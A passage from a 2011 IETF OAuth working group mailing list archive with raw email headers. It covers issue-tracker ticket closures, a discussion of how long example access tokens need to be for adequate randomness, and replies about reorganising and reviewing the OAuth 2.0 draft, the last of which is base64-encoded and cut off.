barryleiba@computer.org X-Trac-Project: oauth Date: Thu, 07 Jul 2011 13:50:55 -0000 X-URL: http://tools.ietf.org/oauth/ X-Trac-Ticket-URL: http://trac.tools.ietf.org/wg/oauth/trac/ticket/13#comment:1 Message-ID: <061.8f73e3c44865a7fc157d341f0e617584@trac.tools.ietf.org> References: <052.b8247962e9bedfe0bbb8d9832d0308ce@trac.tools.ietf.org> X-Trac-Ticket-ID: 13 In-Reply-To: <052.b8247962e9bedfe0bbb8d9832d0308ce@trac.tools.ietf.org> X-SA-Exim-Connect-IP: ::1 X-SA-Exim-Rcpt-To: barryleiba@computer.org, oauth@ietf.org X-SA-Exim-Mail-From: trac+oauth@trac.tools.ietf.org X-SA-Exim-Scanned: No (on zinfandel.tools.ietf.org); SAEximRunCond expanded to false Cc: oauth@ietf.org Subject: Re: [OAUTH-WG] [oauth] #13: Description of how native applications can use OAuth 2.0 X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 07 Jul 2011 13:50:56 -0000 #13: Description of how native applications can use OAuth 2.0 Changes (by barryleiba@…): * status: new => closed * resolution: => fixed Comment: Text provided and incorporated. -- --------------------------------+------------------------------------------- Reporter: Tony Nadalin | Owner: Type: defect | Status: closed Priority: major | Milestone: Deliver OAuth 2.0 spec Component: v2 | Version: Severity: Active WG Document | Resolution: fixed Keywords: | --------------------------------+------------------------------------------- Ticket URL: oauth From trac+oauth@trac.tools.ietf.org Thu Jul 7 06:51:58 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 2C2381F0C41 for ; Thu, 7 Jul 2011 06:51:58 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -102.6 X-Spam-Level: X-Spam-Status: No, score=-102.6 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, NO_RELAYS=-0.001, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id ClYTJrx7kPb3 for ; Thu, 7 Jul 2011 06:51:57 -0700 (PDT) Received: from zinfandel.tools.ietf.org (zinfandel.tools.ietf.org [IPv6:2001:1890:1112:1::2a]) by ietfa.amsl.com (Postfix) with ESMTP id A59CC1F0C3C for ; Thu, 7 Jul 2011 06:51:57 -0700 (PDT) Received: from localhost ([::1] helo=zinfandel.tools.ietf.org) by zinfandel.tools.ietf.org with esmtp (Exim 4.76) (envelope-from ) id 1Qeozl-0006Sz-JD; Thu, 07 Jul 2011 06:51:57 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 8bit From: "oauth issue tracker" X-Trac-Version: 0.11.7 Precedence: bulk Auto-Submitted: auto-generated X-Mailer: Trac 0.11.7, by Edgewall Software To: barryleiba@computer.org X-Trac-Project: oauth Date: Thu, 07 Jul 2011 13:51:57 -0000 X-URL: http://tools.ietf.org/oauth/ X-Trac-Ticket-URL: http://trac.tools.ietf.org/wg/oauth/trac/ticket/14#comment:1 Message-ID: <061.e1d40ff38a8e7ab3688318281b820497@trac.tools.ietf.org> References: <052.1c28e50da24b0bd8d7c90fd6220e3475@trac.tools.ietf.org> X-Trac-Ticket-ID: 14 In-Reply-To: <052.1c28e50da24b0bd8d7c90fd6220e3475@trac.tools.ietf.org> X-SA-Exim-Connect-IP: ::1 X-SA-Exim-Rcpt-To: barryleiba@computer.org, oauth@ietf.org X-SA-Exim-Mail-From: trac+oauth@trac.tools.ietf.org X-SA-Exim-Scanned: No (on zinfandel.tools.ietf.org); SAEximRunCond expanded to false Cc: oauth@ietf.org Subject: Re: [OAUTH-WG] [oauth] #14: Restoring Client Assertion Credentials to the framework specification X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 07 Jul 2011 13:51:58 -0000 #14: Restoring Client Assertion Credentials to the framework specification Changes (by barryleiba@…): * status: new => closed * resolution: => fixed Comment: Assertions document added as WG item. -- --------------------------------+------------------------------------------- Reporter: Tony Nadalin | Owner: Type: defect | Status: closed Priority: major | Milestone: Deliver OAuth 2.0 spec Component: v2 | Version: Severity: Active WG Document | Resolution: fixed Keywords: | --------------------------------+------------------------------------------- Ticket URL: oauth From eran@hueniverse.com Thu Jul 7 07:25:48 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 6C64D11E8072 for ; Thu, 7 Jul 2011 07:25:48 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.671 X-Spam-Level: X-Spam-Status: No, score=-2.671 tagged_above=-999 required=5 tests=[AWL=-0.073, BAYES_00=-2.599, HTML_MESSAGE=0.001] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id fy9E0bXzhDHK for ; Thu, 7 Jul 2011 07:25:47 -0700 (PDT) Received: from p3plex1out01.prod.phx3.secureserver.net (p3plex1out01.prod.phx3.secureserver.net [72.167.180.17]) by ietfa.amsl.com (Postfix) with SMTP id CE7D39E8012 for ; Thu, 7 Jul 2011 07:25:46 -0700 (PDT) Received: (qmail 21736 invoked from network); 7 Jul 2011 14:25:46 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.20) by p3plex1out01.prod.phx3.secureserver.net with SMTP; 7 Jul 2011 14:25:45 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT002.EX1.SECURESERVER.NET ([72.167.180.20]) with mapi; Thu, 7 Jul 2011 07:25:36 -0700 From: Eran Hammer-Lahav To: George Fletcher , "William J. Mills" Date: Thu, 7 Jul 2011 07:25:35 -0700 Thread-Topic: [OAUTH-WG] Example tokens Thread-Index: Acw8qqP1zC73KbL6QuyTgsUD5IoykQABwNGg Message-ID: <90C41DD21FB7C64BB94121FBBC2E7234501D49FE29@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <1309994834.63760.YahooMailRC@web121010.mail.ne1.yahoo.com> <90C41DD21FB7C64BB94121FBBC2E7234501D49FDB8@P3PW5EX1MB01.EX1.SECURESERVER.NET> <1310045095.91062.YahooMailNeo@web31816.mail.mud.yahoo.com> <4E15B5E8.7050207@aol.com> In-Reply-To: <4E15B5E8.7050207@aol.com> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: multipart/alternative; boundary="_000_90C41DD21FB7C64BB94121FBBC2E7234501D49FE29P3PW5EX1MB01E_" MIME-Version: 1.0 Cc: Oleg Gryb , OAuth WG Subject: Re: [OAUTH-WG] Example tokens X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 07 Jul 2011 14:25:48 -0000 --_000_90C41DD21FB7C64BB94121FBBC2E7234501D49FE29P3PW5EX1MB01E_ Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable That's not the point. Developers who are going to self-encode tokens don't = need the examples. EHL From: George Fletcher [mailto:gffletch@aol.com] Sent: Thursday, July 07, 2011 6:35 AM To: William J. Mills Cc: Eran Hammer-Lahav; Brian Campbell; Oleg Gryb; OAuth WG Subject: Re: [OAUTH-WG] Example tokens +1 If the system just needs a random identifier with state maintained on the s= erver, then the current tokens are fine. For those systems that plan to enc= rypt data in the scopes (or use JWTs) they will be much larger. Thanks, George On 7/7/11 9:24 AM, William J. Mills wrote: Access tokens realistically may be longer as they may have encrypted scopes= and such. ________________________________ From: Eran Hammer-Lahav To: Brian Campbell ; Oleg Gryb Cc: OAuth WG Sent: Wednesday, July 6, 2011 8:53 PM Subject: Re: [OAUTH-WG] Example tokens Does that apply to access tokens, refresh tokens, and authorization codes? = I can try squeezing in 22 characters. EHL > -----Original Message----- > From: Brian Campbell [mailto:bcampbell@pingidentity.com] > Sent: Wednesday, July 06, 2011 8:46 PM > To: Oleg Gryb > Cc: Eran Hammer-Lahav; OAuth WG > Subject: Re: [OAUTH-WG] Example tokens > > So on the 128-bit note, the examples could probably be a bit shorter, > 22 characters would give somewhat more than 128 bits of randomness. > But to EHL's original question, the examples (currently 7-12 > characters) should probably be longer. > > On Wed, Jul 6, 2011 at 5:27 PM, Oleg Gryb > wrote: > > log2(64^27)=3D162 bits > > > > Looks good. For comparison, 128-bit entropy for a key in symmetric > > encryption used by SSL is considered as strong. > > I'm assuming that all those 162 bits are generated by a good randomizer= . > > > > > > > > > > ----- Original Message ---- > >> From: Brian Campbell > > >> To: Eran Hammer-Lahav = > > >> Cc: OAuth WG > > >> Sent: Wed, July 6, 2011 4:06:29 PM > >> Subject: Re: [OAUTH-WG] Example tokens > >> > >> If I've done the math correctly, 27 characters would give you a > >> little more than 20 bytes worth of randomness (assuming your are > >> using random alphanumeric characters or base64url encoded bytes). > >> 20 bytes is something you see as a SHOULD type minimum length in > >> other protocols for random identifiers. Not sure if that's > >> sufficient reasoning but it's what I can come up with. > >> > >> On Wed, Jul 6, 2011 at 4:40 PM, Eran Hammer-Lahav > >> > > > wrote: > >> > Are the tokens used in the examples long enough? I don't want the > >> > examples > >> > to demonstrate poor choice of byte count. > >> > EHL > >> > _______________________________________________ > >> > OAuth mailing list > >> > OAuth@ietf.org > >> > https://www.ietf.org/mailman/listinfo/oauth > >> > > >> > > >> _______________________________________________ > >> OAuth mailing list > >> OAuth@ietf.org > >> https://www.ietf.org/mailman/listinfo/oauth > >> > > _______________________________________________ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth _______________________________________________ OAuth mailing list OAuth@ietf.org https://www.ietf.org/mailman/listinfo/oauth --_000_90C41DD21FB7C64BB94121FBBC2E7234501D49FE29P3PW5EX1MB01E_ Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

= That’s not the point. Developers who are going to self-encode = tokens don’t need the examples.

 

EHL

 

<= div style=3D'border:none;border-left:solid blue 1.5pt;padding:0in 0in 0in 4= .0pt'>

From: George Fletcher [mailto:gffletch@aol.com]
Sent: Thursday, Ju= ly 07, 2011 6:35 AM
To: William J. Mills
Cc: Eran Hamme= r-Lahav; Brian Campbell; Oleg Gryb; OAuth WG
Subject: Re: [OAUTH-= WG] Example tokens

 

+1

If the system just needs a random identi= fier with state maintained on the server, then the current tokens are fine.= For those systems that plan to encrypt data in the scopes (or use JWTs) th= ey will be much larger.

Thanks,
George

On 7/7/11 9:24 AM, = William J. Mills wrote:

Access toke= ns realistically may be longer as they may have encrypted scopes and such.<= o:p>

 

=

From:= Eran Ham= mer-Lahav <eran@hueniverse.com>= ;
To: Brian Campbell <bcampbell@pingidentity.com>; Oleg Gryb <oleg@gryb.info>
Cc: OAuth WG <oauth@ietf.org>
Sent: Wednesda= y, July 6, 2011 8:53 PM
Subject: Re: [OAUTH-WG] Example tokens
Does that apply to access tokens, refresh tokens, and authoriza= tion codes? I can try squeezing in 22 characters.

EHL

> --= ---Original Message-----
> From: Brian Campbell [mailto:bcampbell@pingidentity.com]
> Se= nt: Wednesday, July 06, 2011 8:46 PM
> To: Oleg Gryb
> Cc: Eran= Hammer-Lahav; OAuth WG
> Subject: Re: [OAUTH-WG] Example tokens
&= gt;
> So on the 128-bit note, the examples could probably be a bit s= horter,
> 22 characters would give somewhat more than 128 bits of ran= domness.
> But to EHL's original question, the examples (currently 7-= 12
> characters) should probably be longer.
>
> On Wed, = Jul 6, 2011 at 5:27 PM, Oleg Gryb <oleg_gryb@yahoo.com> wrote:
> > log2(64^27)=3D162 bits> >
> > Looks good. For comparison, 128-bit entropy for a k= ey in symmetric
> > encryption used by SSL is considered as strong= .
> > I'm assuming that all those 162 bits are generated by a good= randomizer.
> >
> >
> >
> >
> &g= t; ----- Original Message ----
> >> From: Brian Campbell <bcampbell@pingidentity.com&= gt;
> >> To: Eran Hammer-Lahav <eran@hueniverse.com>
> >> Cc: OAuth WG <oauth@ietf.org>
> >> Sen= t: Wed, July 6, 2011 4:06:29 PM
> >> Subject: Re: [OAUTH-WG] Ex= ample tokens
> >>
> >> If I've done the math correc= tly, 27 characters would give you a
> >> little more  than= 20 bytes worth of randomness (assuming your are
> >> using &nb= sp;random alphanumeric characters or base64url encoded bytes).
> >= > 20 bytes  is something you see as a SHOULD type minimum length in=
> >> other  protocols for random identifiers.  Not s= ure if that's
> >> sufficient  reasoning but it's what I c= an come up with.
> >>
> >> On Wed, Jul 6, 2011 at &= nbsp;4:40 PM, Eran Hammer-Lahav
> >> <eran@hueniverse.com>
> > wrote:
> &g= t;> > Are  the tokens used in the examples long enough? I don't = want the
> >> > examples
> >> >  to demo= nstrate poor choice of byte count.
> >> > EHL
> >&g= t; >  _______________________________________________
> >&= gt; > OAuth mailing  list
> >> > OAuth@ietf.org
> >> > https://www.ietf.org= /mailman/listinfo/oauth
> >> >
> >> >
= > >> _______________________________________________
> >&= gt; OAuth  mailing list
> >> OAuth@ietf.org
> >> https://www.ietf.org/mailman/listin= fo/oauth
> >>
> >
_____________________________= __________________
OAuth mailing list
OAuth@ietf.org
https://www.ietf.org/mailman/listinfo/oauth
=




= 

_______________________________________________
OAuth mailing list
OAuth@ietf.org
https://www.ietf.org/mailman/listinfo/oauth
 
= --_000_90C41DD21FB7C64BB94121FBBC2E7234501D49FE29P3PW5EX1MB01E_-- From trac+oauth@trac.tools.ietf.org Thu Jul 7 07:29:22 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 08B9F11E8076 for ; Thu, 7 Jul 2011 07:29:22 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -102.6 X-Spam-Level: X-Spam-Status: No, score=-102.6 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, NO_RELAYS=-0.001, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 5b6wl27qhv+s for ; Thu, 7 Jul 2011 07:29:21 -0700 (PDT) Received: from zinfandel.tools.ietf.org (zinfandel.tools.ietf.org [IPv6:2001:1890:1112:1::2a]) by ietfa.amsl.com (Postfix) with ESMTP id C58F211E8075 for ; Thu, 7 Jul 2011 07:29:20 -0700 (PDT) Received: from localhost ([::1] helo=zinfandel.tools.ietf.org) by zinfandel.tools.ietf.org with esmtp (Exim 4.76) (envelope-from ) id 1QepZv-0000vg-Lc; Thu, 07 Jul 2011 07:29:19 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 8bit From: "oauth issue tracker" X-Trac-Version: 0.11.7 Precedence: bulk Auto-Submitted: auto-generated X-Mailer: Trac 0.11.7, by Edgewall Software To: barryleiba@computer.org X-Trac-Project: oauth Date: Thu, 07 Jul 2011 14:29:19 -0000 X-URL: http://tools.ietf.org/oauth/ X-Trac-Ticket-URL: http://trac.tools.ietf.org/wg/oauth/trac/ticket/10#comment:4 Message-ID: <066.cef1f915e48bf8fd171aad0f64b239cb@trac.tools.ietf.org> References: <057.27a13fb0813ce1eff49107833d51ba4c@trac.tools.ietf.org> X-Trac-Ticket-ID: 10 In-Reply-To: <057.27a13fb0813ce1eff49107833d51ba4c@trac.tools.ietf.org> X-SA-Exim-Connect-IP: ::1 X-SA-Exim-Rcpt-To: barryleiba@computer.org, oauth@ietf.org X-SA-Exim-Mail-From: trac+oauth@trac.tools.ietf.org X-SA-Exim-Scanned: No (on zinfandel.tools.ietf.org); SAEximRunCond expanded to false Cc: oauth@ietf.org Subject: Re: [OAUTH-WG] [oauth] #10: 8.4. Defining Additional Error Codes X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 07 Jul 2011 14:29:22 -0000 #10: 8.4. Defining Additional Error Codes Changes (by barryleiba@…): * status: new => closed * resolution: => wontfix -- --------------------------------+------------------------------------------- Reporter: Eran Hammer-Lahav | Owner: Type: suggested change | Status: closed Priority: major | Milestone: Deliver OAuth 2.0 spec Component: v2 | Version: Severity: Active WG Document | Resolution: wontfix Keywords: | --------------------------------+------------------------------------------- Ticket URL: oauth From trac+oauth@trac.tools.ietf.org Thu Jul 7 07:29:29 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id B81BE11E807C for ; Thu, 7 Jul 2011 07:29:29 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -102.6 X-Spam-Level: X-Spam-Status: No, score=-102.6 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, NO_RELAYS=-0.001, USER_IN_WHITELIST=-100] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id qSwzuD9g3YxA for ; Thu, 7 Jul 2011 07:29:29 -0700 (PDT) Received: from zinfandel.tools.ietf.org (zinfandel.tools.ietf.org [IPv6:2001:1890:1112:1::2a]) by ietfa.amsl.com (Postfix) with ESMTP id 67173228011 for ; Thu, 7 Jul 2011 07:29:29 -0700 (PDT) Received: from localhost ([::1] helo=zinfandel.tools.ietf.org) by zinfandel.tools.ietf.org with esmtp (Exim 4.76) (envelope-from ) id 1Qepa5-0001Wm-8f; Thu, 07 Jul 2011 07:29:29 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 8bit From: "oauth issue tracker" X-Trac-Version: 0.11.7 Precedence: bulk Auto-Submitted: auto-generated X-Mailer: Trac 0.11.7, by Edgewall Software To: barryleiba@computer.org X-Trac-Project: oauth Date: Thu, 07 Jul 2011 14:29:29 -0000 X-URL: http://tools.ietf.org/oauth/ X-Trac-Ticket-URL: http://trac.tools.ietf.org/wg/oauth/trac/ticket/11#comment:3 Message-ID: <066.6040ddde591b5d4582ee7fcfa6647cb9@trac.tools.ietf.org> References: <057.87dfe70ac9df8542cc9518e11f11bb27@trac.tools.ietf.org> X-Trac-Ticket-ID: 11 In-Reply-To: <057.87dfe70ac9df8542cc9518e11f11bb27@trac.tools.ietf.org> X-SA-Exim-Connect-IP: ::1 X-SA-Exim-Rcpt-To: barryleiba@computer.org, oauth@ietf.org X-SA-Exim-Mail-From: trac+oauth@trac.tools.ietf.org X-SA-Exim-Scanned: No (on zinfandel.tools.ietf.org); SAEximRunCond expanded to false Cc: oauth@ietf.org Subject: Re: [OAUTH-WG] [oauth] #11: 10.3. The OAuth Extensions Error Registry X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 07 Jul 2011 14:29:29 -0000 #11: 10.3. The OAuth Extensions Error Registry Changes (by barryleiba@…): * status: new => closed * resolution: => wontfix -- --------------------------------+------------------------------------------- Reporter: Eran Hammer-Lahav | Owner: Type: suggested change | Status: closed Priority: major | Milestone: Deliver OAuth 2.0 spec Component: v2 | Version: Severity: Active WG Document | Resolution: wontfix Keywords: | --------------------------------+------------------------------------------- Ticket URL: oauth From eran@hueniverse.com Thu Jul 7 08:18:45 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 425E411E807E for ; Thu, 7 Jul 2011 08:18:45 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.669 X-Spam-Level: X-Spam-Status: No, score=-2.669 tagged_above=-999 required=5 tests=[AWL=-0.070, BAYES_00=-2.599] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id F9qIYy8IIdQz for ; Thu, 7 Jul 2011 08:18:44 -0700 (PDT) Received: from p3plex1out02.prod.phx3.secureserver.net (p3plex1out02.prod.phx3.secureserver.net [72.167.180.18]) by ietfa.amsl.com (Postfix) with SMTP id BE91821F8725 for ; Thu, 7 Jul 2011 08:18:44 -0700 (PDT) Received: (qmail 7583 invoked from network); 7 Jul 2011 15:18:44 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.19) by p3plex1out02.prod.phx3.secureserver.net with SMTP; 7 Jul 2011 15:18:44 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT001.EX1.SECURESERVER.NET ([72.167.180.19]) with mapi; Thu, 7 Jul 2011 08:18:29 -0700 From: Eran Hammer-Lahav To: "oauth@ietf.org" , "'Mark Mcgloin (mark.mcgloin@ie.ibm.com)'" , "'Torsten Lodderstedt (torsten@lodderstedt.net)'" , "'Phil Hunt (phil.hunt@oracle.com)'" Date: Thu, 7 Jul 2011 08:18:26 -0700 Thread-Topic: [OAUTH-WG] security considerations - authorization tokens Thread-Index: AcwY/B2aW/pF7JekREqLe8T6DXM4GQjvL/4w Message-ID: <90C41DD21FB7C64BB94121FBBC2E7234501D49FE3D@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: In-Reply-To: Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable MIME-Version: 1.0 Subject: Re: [OAUTH-WG] security considerations - authorization tokens X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 07 Jul 2011 15:18:45 -0000 Looking back at the archives, I didn't find any replies to this proposal. Torsten / Mark / Phil - is this a change you would like me to make? EHL > -----Original Message----- > From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf > Of Brian Eaton > Sent: Sunday, May 22, 2011 8:47 PM > To: oauth@ietf.org > Subject: [OAUTH-WG] security considerations - authorization tokens >=20 > As I said in the other note, after reading through the security considera= tions > section a couple of times, I think it could benefit from a different > organization. Specifically >=20 > - keep the introduction, it's awesome. > - write new sections for each of the following > 1) Authorization Tokens > 2) Web Application Clients > 3) User-Agent Clients > 4) Installed Application Clients > 5) Authorization Servers > 6) Resource Servers > - merge the current text into the appropriate sections. >=20 > I took a swing at the authorization tokens text. I tried to capture most= of the > relevant items from the current draft, but might have missed some. >=20 > Cheers, > Brian From eran@hueniverse.com Thu Jul 7 09:16:11 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 926C221F856A for ; Thu, 7 Jul 2011 09:16:11 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.666 X-Spam-Level: X-Spam-Status: No, score=-2.666 tagged_above=-999 required=5 tests=[AWL=-0.067, BAYES_00=-2.599] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id wS95ziXNXLNv for ; Thu, 7 Jul 2011 09:16:10 -0700 (PDT) Received: from p3plex1out01.prod.phx3.secureserver.net (p3plex1out01.prod.phx3.secureserver.net [72.167.180.17]) by ietfa.amsl.com (Postfix) with SMTP id C790321F8546 for ; Thu, 7 Jul 2011 09:16:10 -0700 (PDT) Received: (qmail 31480 invoked from network); 7 Jul 2011 16:16:06 -0000 Received: from unknown (HELO smtp.ex1.secureserver.net) (72.167.180.20) by p3plex1out01.prod.phx3.secureserver.net with SMTP; 7 Jul 2011 16:16:06 -0000 Received: from P3PW5EX1MB01.EX1.SECURESERVER.NET ([10.6.135.19]) by P3PW5EX1HT002.EX1.SECURESERVER.NET ([72.167.180.20]) with mapi; Thu, 7 Jul 2011 09:15:36 -0700 From: Eran Hammer-Lahav To: Peter Saint-Andre , OAuth WG Date: Thu, 7 Jul 2011 09:15:34 -0700 Thread-Topic: [OAUTH-WG] review of draft-ietf-oauth-v2-16 Thread-Index: Acwgi9J9rfJh7Ys/RlKdjuNVbTgYfwcLVzSA Message-ID: <90C41DD21FB7C64BB94121FBBC2E7234501D49FE6F@P3PW5EX1MB01.EX1.SECURESERVER.NET> References: <4DE68847.8090808@stpeter.im> In-Reply-To: <4DE68847.8090808@stpeter.im> Accept-Language: en-US Content-Language: en-US X-MS-Has-Attach: X-MS-TNEF-Correlator: acceptlanguage: en-US Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: base64 MIME-Version: 1.0 Subject: Re: [OAUTH-WG] review of draft-ietf-oauth-v2-16 X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 07 Jul 2011 16:16:11 -0000 DQoNCj4gLS0tLS1PcmlnaW5hbCBNZXNzYWdlLS0tLS0NCj4gRnJvbTogb2F1dGgtYm91bmNlc0Bp ZXRmLm9yZyBbbWFpbHRvOm9hdXRoLWJvdW5jZXNAaWV0Zi5vcmddIE9uIEJlaGFsZg0KPiBPZiBQ ZXRlciBTYWludC1BbmRyZQ0KPiBTZW50OiBXZWRuZXNkYXksIEp1bmUgMDEsIDIwMTEgMTE6NDMg QU0NCg0KPiBUaHJvdWdob3V0IHRoZSBkb2N1bWVudCwgdGhlIHZhcmlvdXMgcGFyYW1ldGVycyAo ZS5nLiwgY2xpZW50X3NlY3JldCBhbmQNCj4gY2xpZW50X2lkKSBhcmUgZXNzZW50aWFsbHkgdW5k ZWZpbmVkLiBUaGVyZSBpcyBubyB0ZXh0IGFib3V0IHRoZSBsZW5ndGggb2YNCj4gdGhlc2UgcGFy YW1ldGVycywgdGhlIGFsbG93YWJsZSBjaGFyYWN0ZXJzIChlLmcuLCBhbHBoYSBhbmQgZGlnaXRz IG9ubHksIGFsbA0KPiBBU0NJSSBjaGFyYWN0ZXJzLCBmdWxsIFVuaWNvZGUpLCBpbnRlcm5hdGlv bmFsaXphdGlvbiBjb25zaWRlcmF0aW9ucywNCj4gcHJlcGFyYXRpb24gYW5kIGNvbXBhcmlzb24g b2Ygc3RyaW5ncywgZXRjLiBJIGRvbid0IHNlZSBob3cgZGV2ZWxvcGVycyB3aWxsDQo+IGJ1aWxk IGludGVyb3BlcmFibGUgaW1wbGVtZW50YXRpb25zIHdpdGhvdXQgY2xlYXIgZ3VpZGFuY2UgaGVy ZS4NCg0KV2UgaGF2ZSBubyBjb25zZW5zdXMgb24gc3RyaW5nIHNpemVzLg0KDQpJIGNhbiBhZGQg YSBub3RlIHRoYXQgYWxsIHN0cmluZ3MgYXJlIFVURi04IGVuY29kZWQgdW5sZXNzIHNwZWNpZmll ZCBvdGhlcndpc2UuIEFjY2VzcyB0b2tlbnMsIGZvciBleGFtcGxlLCBhcmUgZGVmaW5lZCBieSBl YWNoIHByb2ZpbGUuDQogDQo+IEFsc28sIHRoZSBzY29wZSBwYXJhbWV0ZXIgc3RpbGwgc3RyaWtl IG1lIGFzIGV4dHJlbWx5IHZhZ3VlLiBDYW4gd2UgYXQgbGVhc3QNCj4gZGVmaW5lIHRoZSB3b3Jk ICJzY29wZSIgYW5kIHByb3ZpZGUgYSBmZXcgZXhhbXBsZXMgb2YgaG93IHRoZSBwYXJhbWV0ZXIN Cj4gbWlnaHQgYmUgdXNlZD8NCg0KUGxlYXNlIHN1Z2dlc3QgdGV4dC4NCg0KPiBObyBydWxlcyBh cmUgcHJvdmlkZWQgZm9yIFVSSSBtYXRjaGluZyAoZS5nLiwgaW4gU2VjdGlvbiA0LjEgdGhlIHJl ZGlyZWN0aW9uDQo+IFVSSSByZWNlaXZlZCBuZWVkcyB0byBiZSBjaGVja2VkIGFnYWluc3QgdGhl IFVSSSB1c2VkIHRvIHJlZGlyZWN0IHRoZSBjbGllbnQsDQo+IGJ1dCBub3QgZ3VpZGFuY2UgaXMg cHJvdmlkZWQpLiBQZXJoYXBzIGEgcmVmZXJlbmNlIHRvIFJGQyAzOTg2IGlzIGluIG9yZGVyDQo+ IGhlcmUuIEhlcmUgYWxzbyBpbnRlcm5hdGlvbmFsaXphdGlvbiBjb25jZXJucyBtaWdodCBuZWVk IHRvIGJlIGNvdmVyZWQgKGUuZy4sDQo+IGFyZSBJUklzIGFsbG93ZWQ/KS4NCg0KQWRkZWQgcmVm ZXJlbmNlIHRvIDM5ODYuIEFzIHRvIElSSXMsIGFzIGxvbmcgYXMgdGhleSBhcmUgZW5jb2RlZCBh cyBVUklzLCBidXQgbGFzdCBJIGNoZWNrZWQsIHRoYXQgd2FzIGltcGxpY2l0IGJ5IGRlZmF1bHQu DQoNCj4gNC4xLjIuIEF1dGhvcml6YXRpb24gUmVzcG9uc2UNCj4gDQo+IE9MRDoNCj4gICAgICAg 